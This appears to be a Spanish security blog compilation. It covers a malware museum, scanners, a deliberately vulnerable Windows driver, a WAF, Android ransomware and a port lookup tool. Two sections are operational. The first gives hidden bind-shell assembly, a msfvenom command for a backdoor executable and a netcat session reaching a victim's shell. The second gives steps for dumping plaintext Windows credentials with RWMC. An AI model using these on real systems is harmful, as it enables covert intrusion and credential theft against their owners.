Bienvenidos al Museo de Malware


Archive.org ha publicado The Malware Museum, una colección de programas de malware, normalmente virus para DOS, que fueron distribuidos en las décadas de los 80 y de los 90. Una vez que infectaban los sistemas algunos mostraban un mensaje o una animación mofándose del incauto usuario que incrédulo apenas entendía lo que se le mostraba en sus pantallas, muchas de ellas monocromo.

Mediante el uso de emuladores y eliminando las rutinas destructivas, esta colección te permite experimentar con seguridad y desde la comodidad de tu navegador cómo eran las primeras infecciones. Os recomiendo echar un vistazo a algunos de ellos, una oportunidad para volver al pasado o... viajar a él porque seguro que muchos de vosotros seguro que ni siquiera habíais nacido.


Entra al Museo de Malware: https://archive.org/details/malwaremuseum

VBScan, un escáner de vulnerabilidades para vBulletin

Mohammad Reza Espargham, profesor de la Universidad de Sharif, nos mandaba un DM para dar a conocer su proyecto: VBScan, un escáner de vulnerabilidades específico para vBulletin, una de las soluciones más populares para foros de comunidades instalada en miles de servidores de todo el mundo

La herramienta es de código abierto y está escrita en Perl (se agradece con tanto Python) y nos ayudará a verificar que nuestro sitio es seguro... o no. 

Uso:
./vbscan.pl

./vbscan.pl http://target.com/vbulletin


Aquí os dejo unas demos y los enlaces a su proyecto:


Project Leader : Mohammad Reza Espargham
Github : https://github.com/rezasp/vbscan/
SourceForge : https://sourceforge.net/projects/vbscan/

HackSys: un driver extremadamente vulnerable para practicar en Windows

HackSys Extreme Vulnerable Driver es un driver para Windows desarrollado por Ashfaq Ansari (@HackSysTeam) y hecho vulnerable de forma intencionada para para que los entusiastas de seguridad aprendan y pulan sus habilidades de explotación a nivel de kernel.

HackSys Extreme Vulnerable Driver provee una amplia gama de vulnerabilidades que van desde simples desbordamientos de buffer hasta complejos Use After Frees y Pool Overflows. Esto permite a los investigadores explorar las técnicas de explotación de todas las vulnerabilidades implementadas:


- Pool Overflow
- Use After Free
- Type Confusion
- Stack Overflow
- Integer Overflow
- Stack Overflow GS
- Arbitrary Overwrite
- Null Pointer Dereference

Para construir el driver:

1. Instala Windows Driver Kit
2. Cambia %localSymbolServerPath% en Build_HEVD_Secure.bat y Build_HEVD_Vulnerable.bat (driver builders)
3. Ejecuta el builder apropiado Build_HEVD_Secure.bat o Build_HEVD_Vulnerable.bat

Luego usa OSR Driver Loader para instalar HackSys Extreme Vulnerable Driver y empieza a practicar!


De momento los exploits han sido testeados en Windows 7 SP1 x86 así que faltaría probar y adaptar todo lo necesario para Windows 8.1/10 x64.

Más información en el proyecto de GitHub: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Envío de e-mails arbitrarios desde Jupiter (un tema de WordPress)

WordPress es uno de los CMS más populares de Internet, creo que debido principalmente a su flexibilidad ya que cuenta con muchos plugins, themes, etc.

Sobre los themes o temas, ya sean gratis o de pago, por lo general son bastantes buenos y la mayoría tiene Responsible Design, son muy agradables a la vista, pero como en todos los sistemas siempre existen problemas referentes a la seguridad.  

Recientemente encontré en Jupiter - Multi-Purpose Responsive Theme un tema que pueden adquirir por unos $59 en http://themeforest.net/item/jupiter-multipurpose-responsive-theme/5177775


Con un poco de Google Hacking (inurl:/wp-content/themes/jupiter) podemos encontrar varios sistemas WordPress con ese tema:


Raptor: un WAF de código abierto para entrenar

Raptor es un WAF (Web Application Firewall) de código abierto bajo licencia GPLv3 escrito puramente en C y enfocado en el estudio de ataques y en encontrar maneras inteligentes para bloquearlos. Utiliza una lógica simple usando un proxy inverso con la función select () para multiplexar y un simple filtro para analizar las peticiones con AFD (autómata finito determinista).

- Puede bloquear XSS, ataques de inyección SQL y path traversal
- Puede usar la lista negra de IPs para bloquear algunos usuarios en config/blacklist ip.txt
- Puede utilizar IPv6 e IPv4
- Próximamente añadirá protección DoS, limitador de peticiones, intérprete de reglas y detector de malware para los archivos subidos
- En el futuro soportará SSL/TLS ...

Veamos un escenario de ejemplo para montar en unos sencillos pasos:




Primero descargamos el repositorio de Raptor y lo instalamos para montar nuestro WAF:


$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf && make;


Ahora indicamos la IP del servidor web a proteger, la 192.168.11.123:

$ bin/Raptor -h 192.168.11.123 dirección -p 80 -r 8886 -w 4 -o logAtaques.txt

Ahora Raptor protege el servidor web y todos los clientes tendrán que "atacar" a http://servidor_waf:8886. Por supuesto podemos hacer el NAT que queramos en el firewall externo de cara a publicarlo en Internet.

Fuente: https://github.com/CoolerVoid/raptor_waf

¿Cifraron las fotos de tu móvil? Amigo, el ransomware también existe en Android...

Imagina todas las fotos que haces y almacenas en el móvil y que de repente un día dejas de tenerlas y te aparece un infame mensaje en el que te piden dinero por descifrarlas. Esto es sólo un ejemplo porque, efectivamente, el ransomware no es exclusivo de los PCs...

Desde mayo de 2014 se conoce una variante de malware de tipo ransomware bautizada como 'Lockdroid' que es capaz de bloquear o cambiar el PIN de un dispositivo Android e incluso cifrar y borrar los archivos de un dispositivo Android mediante un reset de fábrica.

La nueva variante Android.Lockdroid.E descubierta por Symantec, se distribuye a través de la aplicación "Porn ‘O’ Mania" presente en markets de terceros (los usuarios de Google Play Store están a salvo). Si el usuario es infectado, el ransomware obtendrá root, cifrará los archivos, bloqueará el teléfono y mostrará un mensaje pidiendo un rescate, amenazando además a la víctima con enviar su historial de navegación a todos sus contactos.

Pero sin duda lo que más llama la atención es su forma de instalarse engañando al usuario mediante técnicas de clickjacking, una técnica que ya vimos por ejemplo en la Blackhat hace años y que se ha usado en otro malware como BadAccent: superpone una pantalla (TYPE_SYSTEM_OVERLAY window) para que el usuario pulse un botón de "Continuar" cuando realmente está pulsando al botón para conceder todos los permisos administrativos necesarios a la aplicación maliciosa.

La parte buena es que la posibilidad de mostrar popups secundarios en pantallas de instalación fue eliminada en la versión de Android 5.0 (Lollipop). La mala, que casi el 67% de los terminales con Android todavía utilizan una versión anterior. Así que si eres uno de ellos... ¡¡actualiza!!

Fuentes:
- Android ransomware variant uses clickjacking to become device administrator
- Android Ransomware Threatens to Share Your Browsing History with Your Friends
- "Lockdroid" Ransomware Can Lock Smartphones, Erase Data
- New Android ransomware uses clickjacking to gain admin privileges

whatportis: un comando para buscar a qué número de puerto corresponde un servicio y viceversa

¿Cuantas veces has buscado en Internet a qué servicio estándar corresponde un puerto TCP/UDP o viceversa? Hazlo como un pro desde tu consola con la utilidad whatportis.

Instalación:

$ pip install whatportis

Uso:

Buscar qué puerto está asociado con un servicio:

$ whatportis redis
+-------+------+----------+---------------------------------------+
| Name  | Port | Protocol | Description                           |
+-------+------+----------+---------------------------------------+
| redis | 6379 |   tcp    | An advanced key-value cache and store |
+-------+------+----------+---------------------------------------+

O a la inversa, qué servicio está asociado con un número de puerto determinado:

$ whatportis 5432
+------------+------+----------+---------------------+
| Name       | Port | Protocol | Description         |
+------------+------+----------+---------------------+
| postgresql | 5432 |   tcp    | PostgreSQL Database |
| postgresql | 5432 |   udp    | PostgreSQL Database |
+------------+------+----------+---------------------+

Además, podemos buscar patrones sin conocer exactamente el nombre simplemente añadiendo la opción --like:
$ whatportis mysql --like
+----------------+-------+----------+-----------------------------------+
| Name           |  Port | Protocol | Description                       |
+----------------+-------+----------+-----------------------------------+
| mysql-cluster  |  1186 |   tcp    | MySQL Cluster Manager             |
| mysql-cluster  |  1186 |   udp    | MySQL Cluster Manager             |
| mysql-cm-agent |  1862 |   tcp    | MySQL Cluster Manager Agent       |
| mysql-cm-agent |  1862 |   udp    | MySQL Cluster Manager Agent       |
| mysql-im       |  2273 |   tcp    | MySQL Instance Manager            |
| mysql-im       |  2273 |   udp    | MySQL Instance Manager            |
| mysql          |  3306 |   tcp    | MySQL                             |
| mysql          |  3306 |   udp    | MySQL                             |
| mysql-proxy    |  6446 |   tcp    | MySQL Proxy                       |
| mysql-proxy    |  6446 |   udp    | MySQL Proxy                       |
| mysqlx         | 33060 |   tcp    | MySQL Database Extended Interface |
+----------------+-------+----------+-----------------------------------+
 

Seguro que pensáis por qué no usar simplemente "grep /etc/services"... La razón es porque es un comando portable con un formato más agradable. Utiliza la web de Iana.org para obtener una listado oficial de puertos (ports.db) que próximamente podremos forzar a actualizar con update.

Fuente: https://github.com/ncrocfer/whatportis

Oculta tu backdoor de las miradas indiscretas de la red

Cualquier aplicación que use el API de Winsock2 puede usar la función WSAAccept() que permite configurar una condición para rechazar una conexión entrante. El ejemplo más claro es responder con un RST si quien intenta abrir el socket no es la IP que esperamos.

Esta técnica, que apareció en Hacker Defense Magazine allá por 2005 en el artículo "Developing a portless backdoor by hijacking WSAAccept()" publicado por Shawn Zhung, puede resultar tremendamente útil a la hora de ocultar backdoors en Windows. Es decir, si logramos comprometer varios servidores en una LAN, es capital ocultar los puertos de nuestro shellcode de cara a evitar ser detectados si una organización (u otro listo) realiza periódicamente escaneos.

Esto lo implementó perfectamente Borja Merino al modificar el payload del shell_bind_tcp de Stephen Fewer:

  push 0x1                    ; size, in bytes, of the buffer pointed to by the "optval" parameter
  push esp                     ; optval: pointer to the buffer in which the value for the requested option is specified 
  push 0x3002              ; level at which the option is defined: SOL_SOCKET
  push 0xFFFF             ; the socket option: SO_CONDITIONAL_ACCEPT
  push edi                     ; socket descriptor
  push 0x2977A2F1     ; hash( "ws2_32.dll", "setsockopt" )
  call ebp                      ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
  
  push ebx                    ; backlog
  push edi                     ; socket
  push 0xFF38E9B7     ; hash( "ws2_32.dll", "listen" )
  call ebp                      ; listen( s, 0 );
      
condition:
  push ebx                             ; dwCallbackData (ebx = 0, no data needed for the condition function)
  call wsaaccept                     ; push the start of the condition function on the stack
  mov eax, DWORD [esp 4]    
  mov eax, DWORD [eax 4]   
  mov eax, DWORD [eax 4]  ; get the client IP returned in the stack
  sub eax, 0x2101A8C0        ; compare the client IP with the IP allowed
  jz return                               ; if equal returns CF_ACCEPT
  xor eax, eax                         ; If not equal, the condition function returns CF_REJECT
  inc eax
return:
  retn 0x20               ; some stack alignment needed to return to mswsock
  
wsaaccept:
  push ebx                       ; length of the sockaddr = nul
  push ebx                       ; struct sockaddr = nul
  push edi                        ; socket descriptor
  push 0x33BEAC94       ; hash( "ws2_32.dll", "wsaaccept" )
  call ebp                         ; wsaaccept( s, 0, 0, &fnCondition, 0)
  cmp eax, -1                  ; if error jump to condition function to wait for another connection
  jz condition

Las versiones single y stager ya se han incluido en Metasploit por lo que para crear un payload simplemente podemos probar:

root@kali:~# msfvenom -p windows/shell_hidden_bind_tcp LPORT=12345 AHOST=192.168.1.25 -f exe > shell_oculto.exe

Si lo hacéis así de sencillo, sin darle más "amor" al binario, será detectado por el antivirus, pero de cualquier forma si queréis probar o si conseguís ejecutarlo en la máquina de la víctima el puerto 12345 no debería ser accesible por ninguna máquina que no sea la definida en la variable AHOST:

vmotos@kali:~$ nmap -p12345 192.168.1.124

Starting Nmap 7.00 ( https://nmap.org ) at 2016-01-27 12:08 EST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 50.00% done; ETC: 12:08 (0:00:01 remaining)
Nmap scan report for 192.168.1.124
Host is up (1.0s latency).
PORT      STATE  SERVICE
12345/tcp closed netbus


Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds

Sin embargo, si probamos desde la máquina del atacante (192.168.1.25 en este caso) podremos ver el puerto abierto y acceder a nuestro shellcode sin problemas:

root@server1:/# nmap -p12345 192.168.1.124

Starting Nmap 5.21 ( http://nmap.org ) at 2016-01-27 18:10 CET
Nmap scan report for 192.168.1.124
Host is up (0.0036s latency).
PORT      STATE SERVICE
12345/tcp open  netbus

Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

root@server1:/# nc 192.168.1.124 12345
Microsoft Windows [Versi¢n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\pepe\Desktop>whoami
whoami
dominio\pepe


Evidentemente esto sería util para ocultarlo a la red local. Si queremos hacerlo a nivel local ya tendríamos que hablar de rootkits... pero eso ya es otra historia...

FuenteHidden Bind Shell: Keep your shellcode hidden from scans 

El malware sabe que lo estás observando...

El malware actual ya usa una gran variedad de técnicas para evadir la tecnología de sandboxing y otros sistemas de análisis. Aunque estas técnicas son cada vez más sofisticadas normalmente podemos dividir las más básicas en cuatro tipos distintos, según su objeto de detección:

- Configuraciones específicas: sleep calls, time triggers, fast flux (dns) y ocultación de procesos
- Interacción humana: movimiento del ratón y ventanas de diálogo
- Entornos específicos: versiones, iframes embebidos y DLL loaders
- VMware específicos — listas de servicios del sistema, ficheros únicos y puertos VMX

Muchas de estas técnicas podéis encontrarlas en herramientas como ScoopyNG o sobretodo Paranoid Fish (pafish) del genial Alberto Ortega (@a0rtega) que ya descubrimos en 2012 y que actualmente está en la versión 0.6 incluyendo un buen número de comprobaciones para detectar la presencia de VM, sandboxes y otros elementos de seguridad. Por ejemplo, su ejecución en la máquina en la que estaba escribiendo esta entrada revela la presencia de VMWare:



Por otro lado y debido precisamente a la proliferación de entornos virtuales, sobre todo en empresas, últimamente muchos desarrolladores de malware comprenden que no les conviene parar la ejecución de sus payloads sólo por estar en una VM y utilizan otras técnicas como buscar modificaciones en el sistema operativo o configuraciones de hardware o software inusuales. Para este caso os aconsejo echar un vistazo al sandbox tester de MRGEffitas.

En cualquier caso estas herramientas son siempre de doble filo: por un lado permiten a los administradores de los sistemas identificar y (si es posible) mitigar sus puntos débiles en términos de detección, y por otro facilita a los desarrolladores de malware la implementación de estas técnicas que hacen sus artefactos más indetectables y por lo tanto más prolíficos en términos de infección y propagación.

En el primer caso he visto importantes mejoras para la indetección como en Virtualbox o en Cuckoo Sandbox, si bien he de decir que tengo la impresión convicción de que los atacantes tienen ventaja. Me explico, siempre he pensado que la mejor manera de analizar una muestra es en un laboratorio con una máquina física en un entorno controlado lo más real posible al que luego realizar un análisis forense detallado. Sin embargo, esto es evidentemente inviable si extrapolamos el análisis aun sistema de AV que es como una enorme cadena de producción que no puede parar: hay que analizar y determinar un resultado para cada fichero a una velocidad vertiginosa para no afectar (o hacerlo mínimamente) a la experiencia de usuario.

Resumiendo:

- aún analizando manualmente es muy difícil evitar las técnicas anti-análisis (debugging, sandboxing, virtual) si el malware las implementa correctamente
- la detección de amenazas en tiempo real es simplemente economía de escala, se intentará detener el mayor porcentaje posible de positivos pero el sistema es "consciente" que no detendrá algo nuevo y elaborado. 

¿O alguien conoce un sistema infalible que pueda engañar a aquellos que nacen para engañar? Yo creo que no existe, como no existe el 100% de seguridad en nada...

RWMC, un "Mimikatz" en powershell autosuficiente para obtener las credenciales de Windows

Una vez que hemos escalado privilegios una de las cosas más "golosas" que podemos realizar, sobretodo en un servidor, es obtener las contraseñas en claro de sus usuarios.

Seguro que habéis pensado en Mimikatz o WCE pero hoy vamos a hablaros de una alternativa muy interesante que no usa .dlls del sistema para descifrar las credenciales. Se trata de RWMC (Reveal Windows Memory Credentials), un script que sólo mediante Powershell (AES, TripleDES y el indocumentado DES-X) y comandos del depurador de Windows (Microsoft Console Debugger o CDB) es capaz de conseguir cumplir el sólito nuestros húmedos oscuros deseos.

Funciona desde Windows 2003 a 2012 incluyendo Windows 10 (ha sido probado en 2003, 2008r2, 2012, 2012r2 y Windows 7 - 32 y 64 bits, Windows 8 y Windows 10 Home edition) y apenas deja rastro...

Puedes elegir usar o no cmdlets del DA y funciona de forma local o remota, o extrayendo las contraseñas de un volcado de un proceso lsass de otra máquina o de un snapshot de de una máquina virtual. Basta con tener Powershell 3.0 o superior y una conexión a Internet.


Para usarlo simplemente hay que abrir una consola o un Entorno de script integrado (ISE) como administrador y permitir previamente la ejecución de scripts:

Set-ExecutionPolicy Unrestricted -force

Luego descargar y descomprimir el zip de https://github.com/giMini/RWMC/archive/master.zip.

Y finalmente lanzar el script RWMC.ps1:



Para, después de unos segundos/minutos, recoger los frutos...


Fuente:
https://github.com/giMini/RWMC/tree/master/Reveal-MemoryCredentials